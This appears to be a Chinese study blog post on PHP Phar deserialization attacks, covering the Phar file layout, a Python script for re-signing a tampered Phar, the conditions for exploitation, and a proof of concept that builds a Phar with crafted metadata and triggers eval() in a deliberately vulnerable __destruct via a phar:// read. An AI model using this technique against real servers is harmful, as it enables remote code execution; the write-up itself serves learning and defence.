PHP Phar反序列化学习

PHP Phar反序列化学习PharPhar是PHP的压缩文档,是PHP中类似于JAR的一种打包文件 。它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句 。
默认开启版本 PHP version >= 5.3
Phar文件结构

PHP Phar反序列化学习

文章插图
1、Stub//Phar文件头2、manifest //压缩文件信息3、contents //压缩文件内容4、signature //签名StubStub是Phar的文件标识,也可以理解为它就是Phar的文件头这个Stub其实就是一个简单的PHP文件 , 它的格式具有一定的要求,具体如下
xxx<?php xxx; __HALT_COMPILER();?>前面的内容是不限制的,但在该PHP语句中,必须有__HALT_COMPILER(),没有这个 , PHP就无法识别出它是Phar文件 。
manifest用于存放文件的属性、权限等信息 。这里也是反序列化的攻击点,因为这里以序列化的形式存储了用户自定义的Meta-data
PHP Phar反序列化学习

文章插图
contents用于存放Phar文件的内容
signature签名(可选参数),位于文件末尾,具体格式如下
PHP Phar反序列化学习

文章插图
签证尾部的01代表md5加密,02代表sha1加密,04代表sha256加密,08代表sha512加密
当我们修改文件的内容时,签名就会变得无效,这个时候需要更换一个新的签名更换签名的脚本
from hashlib import sha1with open('test.phar', 'rb') as file:f = file.read()s = f[:-28] # 获取要签名的数据h = f[-8:] # 获取签名类型和GBMB标识newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)with open('newtest.phar', 'wb') as file:file.write(newf) # 写入新文件Phar反序列化Phar之所以能反序列化,是因为Phar文件会以序列化的形式存储用户自定义的meta-data,PHP使用phar_parse_metadata在解析meta数据时,会调用php_var_unserialize进行反序列化操作 。
利用条件1、phar文件能够上传至服务器//即要求存在file_get_contents()、fopen()这种函数2、要有可利用的魔术方法//这个的话用一位大师傅的话说就是利用魔术方法作为"跳板"3、文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤//一般利用姿势是上传Phar文件后通过伪协议Phar来实现反序列化 , 伪协议Phar格式是`Phar://`这种,如果这几个特殊字符被过滤就无法实现反序列化4、php.ini中的phar.readonly选项,需要为Off(默认是on) 。Phar属于伪协议 , 伪协议使用较多的是一些文件操作函数,如fopen()copy()file_exists()等,具体如下图,也就是下面的函数如果参数可控可以造成Phar反序列化
PHP Phar反序列化学习

文章插图
生成phar文件copy的代码
<?phpclass test{public $name="qwq";function __destruct(){echo $this->name;}}$a = new test();$a->name="phpinfo();";$phartest=new phar('phartest.phar',0);//后缀名必须为phar$phartest->startBuffering();//开始缓冲 Phar 写操作$phartest->setMetadata($a);//自定义的meta-data存入manifest$phartest->setStub("<?php __HALT_COMPILER();?>");//设置stub,stub是一个简单的php文件 。PHP通过stub识别一个文件为PHAR文件,可以利用这点绕过文件上传检测$phartest->addFromString("test.txt","test");//添加要压缩的文件$phartest->stopBuffering();//停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘?>复现先访问上面的php代码 , 生成phar文件
PHP Phar反序列化学习

文章插图
存在漏洞代码,通过file_get_contents触发phar反序列化
<?phpclass test{public $name="";public function __destruct(){eval($this->name);}}$phardemo = file_get_contents('phar://phartest.phar/test.txt');echo $phardemo;
PHP Phar反序列化学习

文章插图
【PHP Phar反序列化学习】

    推荐阅读